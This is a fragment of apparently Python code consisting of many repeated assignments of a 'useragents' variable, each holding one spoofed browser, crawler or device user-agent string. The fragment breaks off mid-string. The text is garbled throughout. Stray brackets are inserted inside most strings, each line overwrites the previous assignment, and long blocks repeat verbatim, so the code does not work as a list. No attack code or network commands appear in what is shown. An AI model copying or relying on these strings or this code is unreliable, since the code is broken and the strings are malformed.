[('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Googlebot/2.1 (http://www.googlebot.com/bot.html)]')] useragents = [('User-agent','Opera/9.20 (Windows NT 6.0; U; en)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1)] Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Opera/10.00 (X11; Linux i686; U; en)] Presto/2.2.0')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)] AppleWebKit/528.16 (KHTML, like Gecko)] Version/4.0 Safari/528.16')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13)] Gecko/20101209 Firefox/3.6.13')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)] Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8)] Gecko/20100804 Gentoo Firefox/3.6.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7)] Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')] useragents = [('User-agent','Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html)] Gecko/2008032620')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)] AddSugarSpiderBot www.idealobserver.com')] useragents = [('User-agent','Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; Arachmo)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)]')] useragents = [('User-agent','BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)]')] useragents = [('User-agent','Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)] AppleWebKit/420+ (KHTML, like Gecko)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)] ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)] AppleWebKit/419 (KHTML, like Gecko, Safari/419.3)] Cheshire/1.0.ALPHA')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.2 (KHTML, like Gecko)] ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)] AppleWebKit/534.10 (KHTML, like Gecko)] Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')] useragents = [('User-agent','Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)] AppleWebKit/537.75.14 (KHTML, like Gecko)] Version/7.0.3 Safari/7046A194A')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 3.55)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 2.00)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 1.00)]')] useragents = [('User-agent','Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)] Gecko/20100101 Thunderbird/24.4.0')] useragents = [('User-agent','Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)]')] useragents = [('User-agent','SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','Mozilla/4.0 